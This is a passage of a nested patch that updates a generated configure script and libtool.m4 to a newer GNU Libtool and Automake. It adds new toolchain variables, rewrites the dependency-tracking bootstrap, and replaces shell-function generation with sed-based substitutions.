+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -13549,14 +14217,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -13589,12 +14260,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -13649,8 +14320,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -13660,12 +14336,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -13681,7 +14359,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -13717,6 +14394,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -14363,29 +15041,35 @@ $as_echo "$as_me: executing $ac_file commands" >&6;}
+ # Older Autoconf quotes --file arguments for eval, but not when files
+ # are listed without --file. Let's play safe and only enable the eval
+ # if we detect the quoting.
+- case $CONFIG_FILES in
+- *\'*) eval set x "$CONFIG_FILES" ;;
+- *) set x $CONFIG_FILES ;;
+- esac
++ # TODO: see whether this extra hack can be removed once we start
++ # requiring Autoconf 2.70 or later.
++ case $CONFIG_FILES in #(
++ *\'*) :
++ eval set x "$CONFIG_FILES" ;; #(
++ *) :
++ set x $CONFIG_FILES ;; #(
++ *) :
++ ;;
++esac
+ shift
+- for mf
++ # Used to flag and report bootstrapping failures.
++ am_rc=0
++ for am_mf
+ do
+ # Strip MF so we end up with the name of the file.
+- mf=`echo "$mf" | sed -e 's/:.*$//'`
+- # Check whether this is an Automake generated Makefile or not.
+- # We used to match only the files named 'Makefile.in', but
+- # some people rename them; so instead we look at the file content.
+- # Grep'ing the first line is not enough: some people post-process
+- # each Makefile.in and add a new line on top of each file to say so.
+- # Grep'ing the whole file is not good either: AIX grep has a line
++ am_mf=`$as_echo "$am_mf" | sed -e 's/:.*$//'`
++ # Check whether this is an Automake generated Makefile which includes
++ # dependency-tracking related rules and includes.
++ # Grep'ing the whole file directly is not great: AIX grep has a line
+ # limit of 2048, but all sed's we know have understand at least 4000.
+- if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then
+- dirpart=`$as_dirname -- "$mf" ||
+-$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+- X"$mf" : 'X\(//\)[^/]' \| \
+- X"$mf" : 'X\(//\)$' \| \
+- X"$mf" : 'X\(/\)' \| . 2>/dev/null ||
+-$as_echo X"$mf" |
++ sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \
++ || continue
++ am_dirpart=`$as_dirname -- "$am_mf" ||
++$as_expr X"$am_mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
++ X"$am_mf" : 'X\(//\)[^/]' \| \
++ X"$am_mf" : 'X\(//\)$' \| \
++ X"$am_mf" : 'X\(/\)' \| . 2>/dev/null ||
++$as_echo X"$am_mf" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
+ s//\1/
+ q
+@@ -14403,53 +15087,50 @@ $as_echo X"$mf" |
+ q
+ }
+ s/.*/./; q'`
+- else
+- continue
+- fi
+- # Extract the definition of DEPDIR, am__include, and am__quote
+- # from the Makefile without running 'make'.
+- DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
+- test -z "$DEPDIR" && continue
+- am__include=`sed -n 's/^am__include = //p' < "$mf"`
+- test -z "$am__include" && continue
+- am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
+- # Find all dependency output files, they are included files with
+- # $(DEPDIR) in their names. We invoke sed twice because it is the
+- # simplest approach to changing $(DEPDIR) to its actual value in the
+- # expansion.
+- for file in `sed -n "
+- s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
+- sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g'`; do
+- # Make sure the directory exists.
+- test -f "$dirpart/$file" && continue
+- fdir=`$as_dirname -- "$file" ||
+-$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+- X"$file" : 'X\(//\)[^/]' \| \
+- X"$file" : 'X\(//\)$' \| \
+- X"$file" : 'X\(/\)' \| . 2>/dev/null ||
+-$as_echo X"$file" |
+- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
+- s//\1/
+- q
+- }
+- /^X\(\/\/\)[^/].*/{
++ am_filepart=`$as_basename -- "$am_mf" ||
++$as_expr X/"$am_mf" : '.*/\([^/][^/]*\)/*$' \| \
++ X"$am_mf" : 'X\(//\)$' \| \
++ X"$am_mf" : 'X\(/\)' \| . 2>/dev/null ||
++$as_echo X/"$am_mf" |
++ sed '/^.*\/\([^/][^/]*\)\/*$/{
+ s//\1/
+ q
+ }
+- /^X\(\/\/\)$/{
++ /^X\/\(\/\/\)$/{
+ s//\1/
+ q
+ }
+- /^X\(\/\).*/{
++ /^X\/\(\/\).*/{
+ s//\1/
+ q
+ }
+ s/.*/./; q'`
+- as_dir=$dirpart/$fdir; as_fn_mkdir_p
+- # echo "creating $dirpart/$file"
+- echo '# dummy' > "$dirpart/$file"
+- done
++ { echo "$as_me:$LINENO: cd "$am_dirpart" \
++ && sed -e '/# am--include-marker/d' "$am_filepart" \
++ | $MAKE -f - am--depfiles" >&5
++ (cd "$am_dirpart" \
++ && sed -e '/# am--include-marker/d' "$am_filepart" \
++ | $MAKE -f - am--depfiles) >&5 2>&5
++ ac_status=$?
++ echo "$as_me:$LINENO: \$? = $ac_status" >&5
++ (exit $ac_status); } || am_rc=$?
+ done
++ if test $am_rc -ne 0; then
++ { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
++$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
++as_fn_error $? "Something went wrong bootstrapping makefile fragments
++ for automatic dependency tracking. If GNU make was not used, consider
++ re-running the configure script with MAKE=\"gmake\" (or whatever is
++ necessary). You can also try re-running configure with the
++ '--disable-dependency-tracking' option to at least be able to build
++ the package (albeit without support for automatic dependency tracking).
++See \`config.log' for more details" "$LINENO" 5; }
++ fi
++ { am_dirpart=; unset am_dirpart;}
++ { am_filepart=; unset am_filepart;}
++ { am_mf=; unset am_mf;}
++ { am_rc=; unset am_rc;}
++ rm -f conftest-deps.mk
+ }
+ ;;
+ "libtool":C)
+@@ -14473,7 +15154,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -14576,19 +15258,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -14618,6 +15323,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -14627,6 +15338,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -14741,12 +15455,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -14833,9 +15547,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -14851,6 +15562,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -14883,210 +15597,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/libtool.m4 b/libtool.m4
+index e36fdd3c0e2..4acf9d67956 100644
+--- a/libtool.m4
++++ b/libtool.m4
+@@ -1,7 +1,8 @@
+ # libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is free software; the Free Software Foundation gives
+@@ -10,7 +11,8 @@
+
+ m4_define([_LT_COPYING], [dnl
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -37,7 +39,7 @@ m4_define([_LT_COPYING], [dnl
+ # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+ ])
+
+-# serial 56 LT_INIT
++# serial 57 LT_INIT
+
+
+ # LT_PREREQ(VERSION)
+@@ -166,10 +168,13 @@ _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
+ dnl
+ m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_CHECK_SHELL_FEATURES])dnl
++m4_require([_LT_PATH_CONVERSION_FUNCTIONS])dnl
+ m4_require([_LT_CMD_RELOAD])dnl
+ m4_require([_LT_CHECK_MAGIC_METHOD])dnl
++m4_require([_LT_CHECK_SHAREDLIB_FROM_LINKLIB])dnl
+ m4_require([_LT_CMD_OLD_ARCHIVE])dnl
